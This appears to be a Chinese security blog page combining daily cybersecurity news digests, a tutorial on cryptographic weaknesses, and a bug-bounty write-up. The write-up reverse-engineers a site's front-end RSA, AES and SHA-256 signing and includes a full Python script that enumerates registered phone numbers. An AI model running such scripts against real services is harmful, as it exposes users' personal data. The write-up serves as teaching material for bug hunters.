网络安全日报 2022年04月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、匿名者入侵俄文化部并泄露 446 GB数据 https://securityaffairs.co/wordpress/130106/hacktivism/anonymous-hacked-russia-ministry-of-culture.html 2、SuperCare Health 披露影响超过 30 万人的数据泄露事件 https://securityaffairs.co/wordpress/130089/data-breach/supercare-health-data-breach.html 3、Microsoft 的新 Autopatch 功能可帮助企业保持系统最新 https://thehackernews.com/2022/04/microsofts-new-autopatch-feature-to.html 4、Directus数据引擎平台修复XSS漏洞 https://www.zdnet.com/article/xss-vulnerability-patched-in-directus-data-engine-platform 5、OpenSSH 9采用新的密钥交换方法以抵御量子计算机攻击 https://www.zdnet.com/article/openssh-now-defaults-to-protecting-against-quantum-computer-attacks/ 6、全球供应链攻击在2021年下半年激增51% https://www.infosecurity-magazine.com/news/global-supply-chain-attacks-surge/ 7、全球76%的公司在过去一年中曾遭遇因技术问题导致的业务中断 https://www.cnbeta.com/articles/tech/1255705.htm 8、FIN7 黑客组织成员被判处5年有期徒刑 https://www.bleepingcomputer.com/news/security/fin7-hacking-group-pen-tester-sentenced-to-5-years-in-prison/ 9、英特尔关闭了在俄的所有业务运营 https://www.bleepingcomputer.com/news/technology/intel-shuts-down-all-business-operations-in-russia/ 10、爱尔兰银行因数据泄露被罚款46.3万欧元 https://www.infosecurity-magazine.com/news/bank-of-ireland-fined-463000-over/
密码学的安全性浅析4
前言  本文是本系列的第四篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。  Diffie-Hellman  迪菲-赫尔曼密钥交换/协商(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。   D-H函数  DH密钥协商协议的核心操作是DH函数,其涉及通信双方从Zp*群中随机选择两个私有值,记做a、b,通过a计算公共值A= g^a mod p,通过b计算  B= g^b mod p  然后双方将公共值与自己的私有值结合,这里的关键在于结合后的值是相同的,即     得到的g^ab称为共享秘密,将其传递给密钥派生函数KDF,以生成对称密钥。  这看起来非常简单,但是这只是表面的,事实上这并不容易  一方面,并不是任意素数p或者基数g都可以奏效,比如某些g会导致将共享秘密g^ab限制在一小部分范围内,但实际上我们希望它的可能取值范围与Zp*一样。  p应该满足(p-1)/2结果也是素数,这样才可以保证该群没有使DH更容易被攻破的更小子群。  D-H问题  使用DH计算共享秘密时,我们关心的不仅是DLP问题,更关注特定于DH的问题,分别是CDH和DDH。  CDH  CDH即computational Diffie-Hellman,计算DH问题,给定g^a和  g^b,但是不知道a或b时,  求出g^ab  这个问题的出发点是为了确保攻击者即使拿到了双方的公共值,也不知道共享秘密。  如果可以解决DLP,自然可以解决CDH;但是解决CDH,不一定能解决DLP,事实上可以解决CDH的最快方法是用NFS(numer field sieve,数域筛选法)求解DLP  DDH  DDH即decisional Diffie-Hellman,这个难度假设比CDH更强,如假设在给定公共值的2048比特情况下,攻击者可以计算共享秘密的前32比特,但是无法计算所有2048比特。此时虽然攻击者不知道完整的g^ab,但是它还是知道共享秘密的一部分信息,这有助于攻击者造成破坏。  为了确保攻击者无法得到关于  g^ab的任何信息,只需要将其与随机的群元素区分开即可,这种问题就称之为DDH。给定公共值和某个随机数c,在公共值和g中二选一(概率均为1/2),  DDH问题确定g^ab是否被选中。  如果DDH很难,那么CDH也会很难,就无法获得g^ab的任何信息;如果可以解决CDH,那么就可以解决DDH.DDH不如CDH难,但是DDH是密码学中的主要假设,也是被研究最多的一种。  共享秘密用作密钥  通信双方在完成DH会话交换时,会得到共享秘密g^ab,但是,我们要注意,这是作为派生会话密钥的输入,其本身并不是密钥!  我们知道密钥看起来应该是随机的,其本身每个比特为0、1的概率是相同的,但是g^ab做不到这一点,因为它不是随机字符串。这里容易混淆的一点是:随机的群元素与随机的比特字符串本质上是不一样的。  举个例子,设乘法群Z13*={1,2...12},使用g=2作为生成元,根据g^i可以扩展成所有  Z13*的值,如果g的指数是随机的,那么会获得  Z13*的随机元素,但是将对应元素编码为4比特字符串时就不是随机的了  此时的随机的概念要求所有比特位为0或1的概率相同  但是在Z13*中,有7个值的最高比特位为0,只有5个值的最高比特位为1,所以这个比特位为0的概率为7/12,约为0.58,而不是0.5.  不安全的群参数  CVE-2016-0701是OpenSSL的一个漏洞,其利用的就是不安全的D-H参数,当用户使用不安全的DH群参数(即不安全的素数p)时,会引发风险。  给定素数p,所有DH操作都在其对应的乘法群Zp中发生,Zp包括小的子群.问题在于,在加密协议中如果较大的群中存在较小的子群是非常危险的,因为此时会将共享秘密限制在较小的可能值集合内。更进一步地,攻击者可以构造DH指数x,当其与受害者的公钥g^y结合时,会暴露有关私钥y的信息,从而可能让其完全泄露。  椭圆曲线  曲线选择  椭圆曲线的安全性在于它使用的群的阶(即曲线的点数),加法公式以及其参数的选取原因。  椭圆曲线有很多,但不是所有的都适用于加密,在选择时要仔细选择曲线方程y^2=  x^3+ax+b中的系数a和b,否则得到的曲线可能是不安全的,一般而言,有如下要求:  1.群的阶不能等于一些小数的乘积,否则会很容易求解ECDLP  2.由于当Q=P时,加法公式与其他情况不同,所以做加法时需要权衡,当攻击者可以区分相同点之间的加法和不同点之间的加法时,可能会泄露关键信息。如果曲线对所有点的加法都使用同一个公式,那么它可能是安全的  3.如果曲线的设计者不解释选择参数a,b的原因,那么曲线可能是不安全的,因为我们并不知道a,b是否是较弱的参数。  常用的曲线有NIST曲线以及Curve25519  NIST曲线  NIST的5条曲线工作在模素数上,称为素数曲线,这是最常见的,其中最常用的是P-256,这是对256比特数   进行模运算的曲线,其对应的方程为   但是NIST曲线的系数选择是由NSA指定的,他们并没有说选b的理由,所以这可能是不安全的。  Curve25519   这是由Daniel J.Bernestein设计的,是目前最高水平的 Diffie-Hellman函数,适用于广泛的场景。Curve25519是一个椭圆曲线提供128位安全性,设计用于椭圆曲线Diffie-Hellman(ECDH)密钥协商方案。它是最快的ECC曲线之一。给定一个用户的32字节密钥,curve25519计算该用户的32字节公钥。给定该用户的32字节密钥和另一个用户的32字节公钥,curve25519计算一个32字节的共享密钥提供给这两个用户使用。然后可以使用这个秘密对两个用户进行身份验证和信息加密。其方程形式为   其中486662是满足作者设定的安全准则的最小整数。  其应用十分广泛,包括Chrome,OpenSSH等。  随机性差  与传统的Diffie-Hellman比起来,椭圆曲线使用的参数更多,更容易受到参数误用的风险,也就更容易受到攻击。  我们知道在ECDSA的签名过程中求s=(h+rd)/k mod n时,使用的k是秘密随机的,所以由此产生的签名也是随机的。  如果相同的k被重用去对第二个消息进行签名,那么攻击者可以通过生成的两个值s1=(h1+rd)/k,s2=(h2+rd)/k,得到s1-s2=(h1-h2)/k,从而有k=(h1-h2)/(s1-s2),当k已知时,通过下式可以恢复私钥d   无效曲线攻击  根据椭圆曲线的特点,如果无法验证输入点,那么ECDH就无法正常工作,因为给出点P+Q的坐标的加法公式中没有涉及曲线的系数b,加法公式只依赖于点P和点Q的坐标和系数a,这会导致什么问题呢?  对两个点做加法时,可能其中一个点不在正确的曲线上,即可能加的是另一个只有系数b不同的曲线上的点,这样的话,加法不是在曲线上进行的,攻击者由此就可以发动攻击。  举个例子,设Alice和Bob正在进行ECDH,并在曲线和基点G上达成一致。Bob将其公钥dBG发送给Alice,但是Alice不在约定的曲线上发送自己的公钥dAG,而是发送了另一条曲线上的一个点(而这条曲线非常如,并且对于Alice选择的点P,求解ECDLP很容易,换句话说,Alice选择了一个阶数很低的点,其有一个较小的k,是的kP=O)。而Bob并不知情,通过该公钥计算共享秘密dBP,对他进行哈希,并使用得到的密钥进行加密,并将其发送给Alice。但是,Bob在计算dBP时,不知不觉中计算了较弱的曲线,由于P的阶较低,于是P点落在原本选择的高阶的群的一个小的子群中,导致dBP也在这个小  一个典型的例子是CVE-2019-9836,研究人员发现SEV椭圆曲线(ECC)实现容易受到无效曲线攻击。在启动命令中,攻击者可以发送不在官方NIST曲线上的小顺序ECC点,并迫使SEV固件将小顺序点乘以固件的专用DH标量。另外这篇学术论文也可供参考《Practical Invalid Curve Attacks on TLS-ECDH》  后量子密码学  量子加速  当一个问题用量子计算机比用经典计算机能更快求解时 ,就称之为量子加速。比如在经典计算机中,要在无序列表中找到某个索引,平均需要n/2次操作。但是存在一种量子算法,只需要√n次操作即可,这比n/2小了几个数量级,比如n=1000000,那么n/2=500000,√n=1000。  我们一般使用时间复杂度来量化算法之间的差异,其用O()符号表示,以上面这个例子为例,经典算法的量级为O(n),而量子算法的运行时间在O(√n)量级,它们之间的差异是平方指数,我们称之为二次加速。  事实上,量级计算还可以实现指数加速,即一个任务在经典计算机上需要指数级时间,如O(2^n),而在量子计算机上只需要多项式复杂度即可,即O(n^k)。因为在密码学中,我们通常把指数时间与不可能联系起来,而多项式时间意味着可实现,所以指数加速对密码学带来的冲击是非常大的。  指数加速的典型代表就是Simon问题:  给定一个方程:  如果使用经典计算机,求解该问题本质可以归结为寻找碰撞,需要求f进行2^(n/2)次查询  而如果使用量子计算机,通过n次查询即可,对应的量子算法电路如下   实际上,Simon问题的指数加速只有在非常特定的情况下才能应用于对称密码。我们再来看看更实际的情况  Shor算法  Shor算法作为一种量子算法,可以在求解因式分解、离散对手、椭圆曲线离散对数等问题时实现指数加速,这意味着RSA,D-H、椭圆曲线密码等机制都会受到影响。Shor算法中的量子部分如下图所示   Shor算法实际上解决的问题比因式分解等问题更普遍:如果f是周期函数,即存在f(x+a)=f(x),其中a是周期,则Shor算法可以有效找到周期a。这种高效找到周期的能力对于密码学而言非常重要,可以用其攻击公钥密码。我们来看看Shor怎么解决因式分解和离散对数问题,它们分别对应着RSA和Diffie-Hellman背后的数学难题  因式分解  设要分解大数N=pq  如果可以计算出a^x mod N的周期就能很容易对N进行因式分解:  选择一个小于N的随机数a,然后向Shor算法询问函数f(x)=a^x mod N的周期,如果找到周期,那么就有   即   这意味着,要么   或者   换句话说,a^ω -1是N的倍数,即存在某个数k,使得下式成立   这里的关键在于a^(ω-1)可以很容易分解为两项的乘积   那么就可以计算出a^ω/2 -1与N的最大公约数,并检查是否已经得到N的一个非平凡因数,如果不是,则对另一个值a^ω/2+1做相同运算,尝试几次后,就可以得到N的因数,此时就可以从RSA的公钥中恢复私钥,拿到私钥后就可以解密消息、伪造签名了。  我们来分析下复杂度。对N进行因式分解的经典算法的时间复杂度是n的指数级别,n是N的比特长;而Shor算法在n的多项式时间O(n^2(log n)(log log n))内即可完成。下图是经典大数分解和Shor算法的复杂度对比    离散对数  离散对数的问题是通过y = g^x mod p来寻找x,利用Shor算法快速找到周期,从而进行求解。  设函数   要找到周期ω和ω‘,满足  f(a+w,b+w')=f(a,b)  通过上式可以推出   使用g^x代替y,可以得到   这等价于   所以可以得出x=-w/w'  算法复杂度为O(n^2(log n)(log log n)),其中n是p的比特长度  Grover算法  除了Shor算法之外,另一个经典的量子加速就是以√n复杂度搜索n个元素的能力(在经典算法中,其复杂度为O(n)),这种加速可以通过Grover算法实现,于1996年由计算机科学家洛夫·格罗弗提出,Grover算法的量子电路表示如下。  简单起见,我们可以把Grover算法当做从n个可能的值中找到满足f(x)=1中的x的一种方法,其中f满足:f输出为0或1,对于大部分输入都会输出0。如果有m个x值满足f(x)=1,那么Grover算法可以在O(√n/m)时间内找到解  把f放到密码学的场景下,设f(x)=1当且仅当x等于加密函数E(K,P)=C的未知密钥K。如果E是AES的话,找x相当于就是找到密钥,如果使用Grover算法,那么时间复杂度为2^64量级,  而使用经典计算机则是2^128量级。  此外,Grover算法还可以用于哈希函数的原像攻击,其通过2^(n/2)量级运算就可以找到n比特哈希函数的原像。  有关的具体理论分析可以阅读原始论文《A fast quantum mechanical algorithm for database search》。  后量子密码算法  后量子密码是指不会被量子计算机攻破的密码,这也就意味着这些算法不能依赖于会被Shor算法等解决的难题。目前主要的类型有四种:基于编码的,基于格的,基于多变量的,基于哈希的。在NIST PQC比赛第三轮决赛时的算法按照类别分组可以表示如下。   基于哈希的签名方案的安全性来源于Hash函数的安全性, 典型方案为默克尔(Merkle)签名方案, 由一次性签名方案OTS (One Time Signature)演变而来的, 并结合了Merkle的哈希树认证机制, 共同构造出一个完全的二叉树来实现数字签名。哈希树的根是公钥, 一次性的认证私钥是树中的叶子节点。  基于编码理论构造的公钥体制, 其理论基础是解码问题的困难性, 换句话说就是在已知生成矩阵的情况下, 在码空间寻找一个码字与已知码的Hamming距离最短。如果已知码为0则问题就是最小权重问题。它的任意线性码的译码问题是NP完全问题。  基于格的公钥密码体制是在大维数的格上, 基于最短向量问题SVP (Shortest Vector Problem)和最近向量问题CVP (Closest Vector Problem)等数学难题而构造的公钥密码体制。SVP问题是指在大维数格中寻找长度最短的非零向量, 而CVP是指在大维数格中寻找和固定向量距离最近的向量, 这两个问题都是NP难问题。  基于多变量的算法使用有限域上具有多个变量的二次多项式组构造加密、签名、密钥交换等算法。它的安全性来源于求解有限域上随机生成的多变量非线性多项式方程组。该问题被证明为非确定性多项式时间困难。目前没有已知的经典和量子算法可以快速求解有限域上的多变量方程组。  它们横向的比较分析可以总结如下   如果对后量子密码学有兴趣,可以进一步参考《The Survey of Post-quantum Cryptography Hardware Implementation 》等文献。  参考  1.https://qrunes-tutorial.readthedocs.io/en/latest/chapters/algorithms/shor_Algorithm.html  2.https://en.wikipedia.org/wiki/Shor%27s_algorithm  3.https://web.archive.org/web/20190702011957/https://seclists.org/fulldisclosure/2019/Jun/46  4.https://csrc.nist.gov/Projects/elliptic-curve-cryptography  5.https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0701  6.https://en.wikipedia.org/wiki/Computational_Diffie%E2%80%93Hellman_assumption  7.https://en.wikipedia.org/wiki/Decisional_Diffie%E2%80%93Hellman_assumption   https://zhuanlan.zhihu.com/p/255171562  9.《Handbook of Elliptic and Hyperelliptic Curve Cryptography》  10.《Quantum Computing and Quantum Information》  11.https://arxiv.org/abs/quant-ph/9605043  12.https://docs.microsoft.com/zh-cn/azure/quantum/concepts-grovers  13.《Serious Cryptography》  14.The Survey of Post-quantum Cryptography Hardware Implementation  15.《Elliptic Curve Cryptography in Practice》  16.https://link.springer.com/chapter/10.1007/978-3-319-24174-6_21
网络安全日报 2022年04月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Mirai 僵尸网络利用 Spring4Shell 漏洞 https://www.securityweek.com/spring4shell-vulnerability-exploited-mirai-botnet 2、谷歌更新针对 Android 应用程序的目标 API 级别要求 https://www.securityweek.com/google-updates-target-api-level-requirements-android-apps 3、大规模的 DDoS 攻击导致芬兰政府网站瘫痪 https://securityaffairs.co/wordpress/130032/hacking/ddos-took-down-finnish-govt-sites.html 4、研究人员发现 AutoDesk 产品中的多个漏洞 https://www.fortinet.com/blog/threat-research/fortinet-security-researchers-discover-multiple-vulnerabilities-in-autodesk-products-dwg-trueview-navisworks-and-design-review 5、新的Octo银行木马通过Google Play上的假应用程序传播 https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html 6、俄石油巨头Gazprom Neft的网站因网络攻击而关闭 https://www.infosecurity-magazine.com/news/russian-oil-gazprom-neft-hack/ 7、研究人员发现影响苹果Web应用程序的HTTP请求走私漏洞 https://portswigger.net/daily-swig/apple-paid-out-36-000-bug-bounty-for-http-request-smuggling-flaws-on-core-web-apps-research 8、研究人员发现BlackCat勒索软件与BlackMatter存在关联 https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html 9、树莓派的更新删除了默认用户以阻止暴力攻击 https://www.bleepingcomputer.com/news/security/raspberry-pi-removes-default-user-to-hinder-brute-force-attacks/ 10、北爱尔兰TrustFord网站遭到Conti勒索软件攻击 https://www.infosecurity-magazine.com/news/northern-ireland-trustford/
网络安全日报 2022年04月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌与 GitHub 合作推进供应链安全 https://www.securityweek.com/google-teams-github-supply-chain-security 2、微软将本地部署的Exchange/SharePoint/Skype添加到漏洞赏金计划 https://www.securityweek.com/microsoft-adds-premises-exchange-sharepoint-skype-bug-bounty-program 3、BlackCat 勒索软件针对工业组织 https://www.securityweek.com/blackcat-ransomware-targets-industrial-companies 4、CVE-2022-22292 漏洞可能允许三星 Android 设备被入侵 https://securityaffairs.co/wordpress/129942/hacking/cve-2022-22292-hack-samsung-android-devices.html 5、OpenSSL 漏洞(CVE-2022-0778)影响多个 Palo Alto 设备 https://securityaffairs.co/wordpress/129935/hacking/palo-alto-networks-devices-openssl-flaws.html 6、VMware 针对影响多个产品的新漏洞发布了重要补丁 https://thehackernews.com/2022/04/vmware-releases-critical-patches-for.html 7、福克斯新闻泄露了 1300 万条内部记录,包括员工信息 https://www.infosecurity-magazine.com/news/employee-info-13-million-records/ 8、FFDroider恶意软件窃取Facebook、Twitter等多个社交应用的帐户 https://www.bleepingcomputer.com/news/security/new-ffdroider-malware-steals-facebook-instagram-twitter-accounts/ 9、黑客利用恶意应用程序攻击马来西亚8家银行的客户 https://therecord.media/hackers-use-malicious-apps-to-target-customers-of-8-malaysian-banks-researchers-say/ 10、Apple 仅针对 macOS Monterey 修补了关键的0day漏洞 https://www.theregister.com/2022/04/06/apple_patched_zerodays_in_macos/
网络安全日报 2022年04月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现首个专门针对 AWS Lambda 的恶意软件-Denonia https://www.securityweek.com/denonia-first-malware-targeting-aws-lambda 2、FBI拆除了Sandworm APT运营的 Cyclops Blink 僵尸网络 https://securityaffairs.co/wordpress/129911/cyber-warfare-2/us-disrupts-cyclops-blink-botnet.html 3、Block披露涉及Cash App的数据泄露可能影响820万美国客户 https://securityaffairs.co/wordpress/129892/data-breach/block-cash-app-data-breach.html 4、风力涡轮机制造商Nordex Group遭网络攻击关闭部分IT系统 https://securityaffairs.co/wordpress/129875/security/a-cyber-attack-forced-the-wind-turbine-manufacturer-nordex-group-to-shut-down-some-of-it-systems.html 5、FIN7 黑客利用密码重用和软件供应链攻击 https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html 6、微软在其云服务中检测到 Spring4Shell 攻击 https://www.bleepingcomputer.com/news/security/microsoft-detects-spring4shell-attacks-across-its-cloud-services 7、德国关闭了全球最大暗网市场 Hydra https://www.freebuf.com/news/327478.html 8、横河电机修复了其控制系统产品中的一系列漏洞 https://www.securityweek.com/yokogawa-patches-flaws-allowing-disruption-manipulation-physical-processes 9、英国零售商The Works遭网络攻击后关闭了部分门店 https://www.bitdefender.com/blog/hotforsecurity/the-works-hit-by-hackers-uk-retailer-shuts-some-stores-after-problems-with-payment-tills/ 10、得克萨斯州保险部暴露了 180 万人的数据 https://www.securityweek.com/texas-department-insurance-exposed-data-18-million-people
挖洞实战之信息泄露与前端加密
前言 本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。  在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!  如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。  寻源  前几天挖洞的时候就看到个发送验证码的  先跑一百个请求,对发包没有做什么限制,说明有门!  但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。  打开F12,发现控制台在输出东西,  再看资源文件,chunk文件加上index,那直接去找index.js文件即可。  然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/  可惜在这个站上不怎么好使,只能慢慢找了。  一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKey、encrypt等  若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。  不要手撕js,会变得不幸。  首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮  代码就变得好看多了  尝试性的搜了下encrypt,位置大概就被我找到了。  这里有很多个函数,如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名,可以说是再明显不过的提示了。  分析  经过不眠不休的折磨,我逐渐理解了一切。  0.DEMO  先了解一下JSEncrypt库,十分简单 import JSEncrypt from 'jsencrypt' //加密 var encryptor = new JSEncrypt() var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----' encryptor.setPublicKey(pubKey)//设置公钥 var rsaPassWord = encryptor.encrypt('要加密的内容') //解密 var decrypt = new JSEncrypt() var priKey  = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----' decrypt.setPrivateKey(priKey)//设置秘钥 var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容  1.RSA  首先在疑似RSA加密的位置的结尾下个断点,  为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。  我们不是来做密码题的,我们只是来挖洞的。  然后会发现,右边有一大堆参数。  好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了  而s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是: function() {    o = new JSEncrypt();    o.setPublicKey(a);    return o.encrypt(t) }  看,其实就是普通的RSA加密!  而且RSA公钥也给了,就是参数a!  然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。  在F12的控制台中执行一下,能够输出相似的结果。  JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。  扔到CyberChef先放着,待会有用。  加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。  随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。  这样,就可以解密了。  2.AES  接下来就是AES,同样的,下个断点看结果。  能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。  而且AES相关参数也给出了:  初始向量:1234567812345678,CBC模式,zeropadding填充。  AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx  解码的话也是一样,毕竟是对称加密。  3.SHA-256 SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256  这里就是最后的波纹了,也是最复杂的地方。  还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。  在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n。  之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下: {clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=164740  好,接下来来验证一下  这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9  输出结果对的上,说明没错:  看着下图的请求体,最后总结一下。  1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey,  2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData  3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算,可以任意更改。  4.将所有参数融合进行SHA256加密来签名。  爆破  分析完毕,那么接下来就可以开始爆破了。  接下来有两种做法:  1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。  2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter。  在这里我选择1,具体代码如下: import hashlib import urllib3 import requests import base64 from Crypto.Cipher import AES urllib3.disable_warnings() # aes的key和初始向量 key = 'PHVDHENXNREOEVON' vi = '1234567812345678' url = "" headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",           "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",           "Sec-Ch-Ua-Mobile": "?0",           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",           "Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",           "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",           "Accept-Encoding": "gzip, deflate",           "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} def AES_Encrypt(data):    global key    global vi    pad = lambda s: s + (16 - len(s) % 16) * chr(0)    data = pad(data)    # 字符串补位    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))    encryptedbytes = cipher.encrypt(data.encode('utf8'))    # 加密后得到的是bytes类型的数据    encodestrs = base64.b64encode(encryptedbytes)    # 使用Base64进行编码,返回byte字符串    enctext = encodestrs.decode('utf8')    # 对byte字符串按utf-8进行解码    return enctext def AES_Decrypt(data):    global key    global vi    data = data.encode('utf8')    encodebytes = base64.decodebytes(data)    # 将加密数据转换位bytes类型数据    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))    text_decrypted = cipher.decrypt(encodebytes)    text_decrypted = text_decrypted.rstrip(b'\0')    # 去补位    text_decrypted = text_decrypted.decode('utf8')    return text_decrypted def sha256(text):    return hashlib.sha256(text.encode()).hexdigest() phone_list = [] with open('test-phone.txt', 'r', encoding='utf8') as f:    for i in f:        phone_list.append(i.strip()) for i in phone_list:    requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)    encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="    sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (        encodeKey, requestsData)    sign = sha256(sign_exp)    json = {"clientId": "1",            "encodeKey": encodeKey,            "requestData": requestsData, "requestId": "1",            "sign": sign, "timestamp": "1"}    res = requests.post(url, headers=headers, json=json, verify=False)    try:        result = AES_Decrypt(res.text.strip())        if '该手机号未查询到用户' in result:            print("未注册" + i)        else:            print("查询到了:" + i)    except Exception as e:        print(e)        print(res.text)        exit()  代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。  因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。  这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。
网络安全日报 2022年04月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌在 2022 年 4 月 Android 更新 44 个漏洞补丁 https://www.securityweek.com/44-vulnerabilities-patched-android-april-2022-security-updates2、Conti勒索团伙泄露了从工业巨头 Parker Hannifin 窃取的文件 https://www.securityweek.com/ransomware-gang-leaks-files-stolen-industrial-giant-parker-hannifin3、VMware发布更新修复多个产品中的Spring4Shell漏洞 https://securityaffairs.co/wordpress/129826/security/vmware-secure-spring4shell.html4、研究人员发现一种执行勒索和 DDoS 攻击的新 RAT-Borat RAT https://securityaffairs.co/wordpress/129805/malware/borat-rat-a-new-rat-that-performs-ransomware-and-ddos-attacks.html5、PEAR PHP 存储库中发现一个存在15年之久的漏洞,可导致供应链攻击 https://securityaffairs.co/wordpress/129797/hacking/pear-php-critical-flaws.html6、Beastmode Mirai 僵尸网络新增了对 Totolink 路由器的利用 